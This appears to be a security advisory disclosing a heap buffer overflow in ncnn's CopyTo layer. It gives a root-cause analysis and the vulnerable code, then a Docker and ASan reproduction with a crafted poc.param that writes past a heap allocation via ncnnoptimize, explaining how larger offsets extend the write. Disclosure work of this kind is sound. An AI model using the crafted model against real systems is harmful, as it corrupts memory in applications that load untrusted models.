Heap Buffer Overflow from Unchecked CopyTo Offsets

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/copyto.cpp:38 in copy_to_image
Sanitizer verdict: heap-buffer-overflow

Summary

A crafted model gives an attacker a heap write at a model-chosen offset from a freshly allocated tensor. ncnnoptimize's shape-inference pass runs the CopyTo layer, which clones the destination blob and then memcpys the source rows to dst.row(top) + left using offsets read straight from the .param file, with no comparison against the destination's width or height. The offset is a full 32-bit int, so the write target is attacker-positioned far outside the allocation.

Detail

CopyTo::load_param reads the offsets as ordinary parameters — woffset = pd.get(0, 0); hoffset = pd.get(1, 0); doffset = pd.get(13, 0); coffset = pd.get(2, 0); — and resolve_copyto_offset only remaps them when the NumPy-slice form (starts) is present. In the plain form the parsed values are used as-is.

CopyTo::forward clones the destination and dispatches to the copy helper with those offsets, which the helper turns directly into a destination pointer:

// src/layer/copyto.cpp:28
static void copy_to_image(const Mat& src, Mat& self, int top, int left)
{
    int w = src.w;
    int h = src.h;

    const T* ptr = src;
    T* outptr = self.row<T>(top) + left;

    for (int y = 0; y < h; y++)
    {
        memcpy(outptr, ptr, w * sizeof(T));
        ptr += w;
        outptr += self.w;
    }
}

Neither CopyTo::forward nor copy_to_image checks left + src.w <= self.w or top + src.h <= self.h. The only shape test in forward is the early-out at line 57 for the case where source and destination shapes are identical, which a mismatched PoC deliberately avoids.

The PoC declares a 4x4 float destination and a 1x1 float source with 0=100, so _woffset is 100. self.row<float>(0) + 100 points 400 bytes into a 132-byte cloned allocation — 268 bytes past its end, matching the ASan report — and the memcpy writes the single source float there. Larger woffset/hoffset values scale the displacement linearly (hoffset multiplies by self.w), and a larger source blob turns the single write into a long run of attacker-supplied bytes.

Reproduce

mkdir -p ncnn-poc-heap-buffer-overflow-from-unchecked-copyto-offsets && cd ncnn-poc-heap-buffer-overflow-from-unchecked-copyto-offsets

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
3 4
Input dst 0 1 dst 0=4 1=4
Input src 0 1 src 0=1 1=1
CopyTo copy 2 1 dst src out 0=100
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000000950 at pc 0x7f6e05518303 bp 0x7fffea420c10 sp 0x7fffea4203b8
WRITE of size 4 at 0x511000000950 thread T0
    #0 0x7f6e05518302 in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
    #1 0x5f39de48af1e in copy_to_image<float> /ncnn/src/layer/copyto.cpp:38
    #2 0x5f39de482835 in ncnn::CopyTo::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/layer/copyto.cpp:87
    #3 0x5f39d56e570b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
    #4 0x5f39d56cdb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #5 0x5f39d572d9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #6 0x5f39d55bf3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #7 0x5f39d563ceee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #8 0x7f6e04ea01c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #9 0x7f6e04ea028a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x5f39d55bc624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x511000000950 is located 268 bytes after 132-byte region [0x5110000007c0,0x511000000844)
allocated by thread T0 here:
    #0 0x7f6e05519f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x5f39d565168e in fastMalloc /ncnn/src/allocator.h:62
    #2 0x5f39d565168e in ncnn::PoolAllocator::fastMalloc(unsigned long) /ncnn/src/allocator.cpp:159
    #3 0x5f39d56904b8 in ncnn::Mat::create(int, int, unsigned long, int, ncnn::Allocator*) /ncnn/src/mat.cpp:539
    #4 0x5f39d5675d7c in ncnn::Mat::clone(ncnn::Allocator*) const /ncnn/src/mat.cpp:81
    #5 0x5f39de47edd0 in ncnn::CopyTo::forward(std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/layer/copyto.cpp:63
    #6 0x5f39d56e570b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:856
    #7 0x5f39d56cdb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #8 0x5f39d572d9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #9 0x5f39d55bf3c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #10 0x5f39d563ceee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #11 0x7f6e04ea01c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #12 0x7f6e04ea028a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #13 0x5f39d55bc624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy

Credit

Zheng Yu @ DepthFirst